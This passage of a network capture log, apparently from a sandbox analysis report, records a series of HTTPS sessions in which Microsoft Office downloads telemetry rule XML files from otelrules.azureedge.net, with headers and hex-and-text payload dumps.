C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.8	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:26 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:26 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 447ddde3-501e-0047-290a-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094826Z-r1cf579d778mvsklhC1EWRkavg00000005c000000000079m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:26 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.8	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:26 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:26 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 1c840c04-c01e-0034-5806-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094826Z-r1cf579d778dndrdhC1EWR4b2400000004m00000000030y2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:26 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.8	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:26 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:26 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 848b85bb-b01e-0053-2106-48cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094826Z-r1cf579d778xq4f9hC1EWRx41g00000004s00000000042mq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:26 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.8	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:26 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:26 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 5fa529d3-701e-0097-6308-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094826Z-r1cf579d778x776bhC1EWRdk80000000052g00000000105m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:26 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.8	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:26 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:26 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 0c26b312-d01e-0049-6f07-48e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094826Z-r1cf579d778t6txphC1EWRsd4400000005h0000000001pyt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:26 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.8	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:28 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:28 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 217a7818-401e-00ac-3104-480a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094828Z-r1cf579d778t5c2lhC1EWRce3w00000005k00000000048y9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:29 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.8	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:28 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:28 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: e9c8fd08-f01e-003f-7806-48d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094828Z-r1cf579d778dfdgnhC1EWRd3w000000004s0000000003kyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:29 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.8	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:28 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:28 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: d011e298-d01e-0066-630e-48ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094828Z-r1cf579d7789trgthC1EWRkkfc00000005tg000000000401 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:29 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.8	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:28 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:28 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: b8fa7c57-101e-008e-1803-48cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094828Z-r1cf579d778w59f9hC1EWRze6w00000005a00000000018p7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:29 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.8	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:28 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:28 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 7e040cad-401e-0047-2815-498597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094828Z-r1cf579d7786c2tshC1EWRr1gc00000004m00000000032ce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:29 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.8	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:30 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:31 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 1dc1a106-201e-003f-0903-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094831Z-r1cf579d7782ctslhC1EWRfbrw00000005kg000000000es0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:31 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.8	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:30 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:31 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 4677bedb-001e-008d-5303-48d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094831Z-r1cf579d7788pwqzhC1EWRrpd800000005bg000000001cbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
